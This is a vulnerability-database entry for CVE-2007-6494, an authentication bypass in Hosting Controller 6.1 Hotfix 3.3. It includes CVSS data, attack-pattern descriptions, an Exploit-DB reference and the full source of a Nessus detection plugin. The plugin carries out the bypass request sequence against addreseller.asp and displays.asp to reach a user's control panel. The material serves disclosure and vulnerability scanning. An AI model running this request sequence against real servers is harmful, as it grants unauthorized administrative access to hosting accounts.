Vulnerabilities > CVE-2007-6494 - Improper Input Validation vulnerability in Hosting Controller Hosting Controller 6.1Hotfix3.3

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
hosting-controller
CWE-20
critical
nessus
exploit available

Summary

Hosting Controller 6.1 Hot fix 3.3 and earlier allows remote attackers to obtain login access via a request to hosting/addreseller.asp with a username in the reseller parameter, followed by a request to AdminSettings/displays.asp with the DecideAction and ChangeSkin parameters.

Vulnerable Configurations

Part Description Count
Application
Hosting_Controller
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

descriptionHosting Controller 6.1 Hot fix <= 3.3 Multiple Remote Vulnerabilities. CVE-2007-6494,CVE-2007-6495,CVE-2007-6496,CVE-2007-6497,CVE-2007-6498,CVE-2007-6499...
fileexploits/asp/webapps/4730.txt
idEDB-ID:4730
last seen2016-01-31
modified2007-12-13
platformasp
port
published2007-12-13
reporterBugReport.IR
sourcehttps://www.exploit-db.com/download/4730/
titlehosting controller 6.1 hot fix <= 3.3 - Multiple Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idHOSTING_CONTROLLER_AUTH_BYPASS.NASL
descriptionThe version of Hosting Controller installed on the remote host allows a remote attacker to bypass authentication and gain access to an arbitrary user
last seen2020-06-01
modified2020-06-02
plugin id31191
published2008-02-27
reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/31191
titleHosting Controller hosting/addreseller.asp reseller Parameter Authentication Bypass
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(31191);
  script_version("1.18");

  script_cve_id("CVE-2007-6494");
  script_bugtraq_id(26862);
  script_xref(name:"EDB-ID", value:"4730");
  script_xref(name:"Secunia", value:"28973");

  script_name(english:"Hosting Controller hosting/addreseller.asp reseller Parameter Authentication Bypass");
  script_summary(english:"Tries to access a user's control panel");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains an ASP application that allows a remote
attacker to bypass authentication." );
 script_set_attribute(attribute:"description", value:
"The version of Hosting Controller installed on the remote host allows
a remote attacker to bypass authentication and gain access to an
arbitrary user's control panel, including as an administrator." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2007/Dec/169" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1576fa70" );
 script_set_attribute(attribute:"solution", value:
"Apply the Post Hotfix 3.3 Security Patch." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(20);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/02/27");
 script_cvs_date("Date: 2018/11/15 20:50:17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 8077);
  script_require_keys("www/ASP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:8077);
if (!can_host_asp(port:port)) exit(0);


# Name of a user to authenticate as.
#username = "hcadmin";                  # should work
username = "resadmin";


# Loop through various directories.
if (thorough_tests) dirs = list_uniq("/hc", "/hosting_controller", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  init_cookiejar();
  r = http_send_recv3(method: "GET", 
    item:string(dir, "/hosting/addreseller.asp?reseller=", username),
    port:port
  );
  if (isnull(r)) exit(0);

  if (
    "ActionType=AddUser" >< r[2] &&
    "Set-Cookie: " >< r[1]
  )
  cookies = get_http_cookies_names(name_regex: '^ASPSESSIONID.+');
  if (isnull(cookies) || max_index(cookies) == 0)
    {
        debug_print("couldn't find the cookie!\n");
    }
  else
    {
      postdata = string(
        "TemplateSkin=PanelXP/Blue"
      );
      r = http_send_recv3(
        method:"POST", 
        version: 11,
        item:"/AdminSettings/displays.asp?DecideAction=1&ChangeSkin=1", 
        port:port,
        data:postdata,
        add_headers:make_array("Content-Type", "application/x-www-form-urlencoded")
      );
      if (isnull(r)) exit(0);
      r = http_send_recv3(method: "GET", item:string(dir, "/Contents.asp"), port:port);
      if (isnull(r)) exit(0);

      # There's a problem if we now have access to the user's control panel.
      if ("accounts/dsp_profile.asp" >< r[2])
      {
        security_hole(port);
        exit(0);
      }
    }
}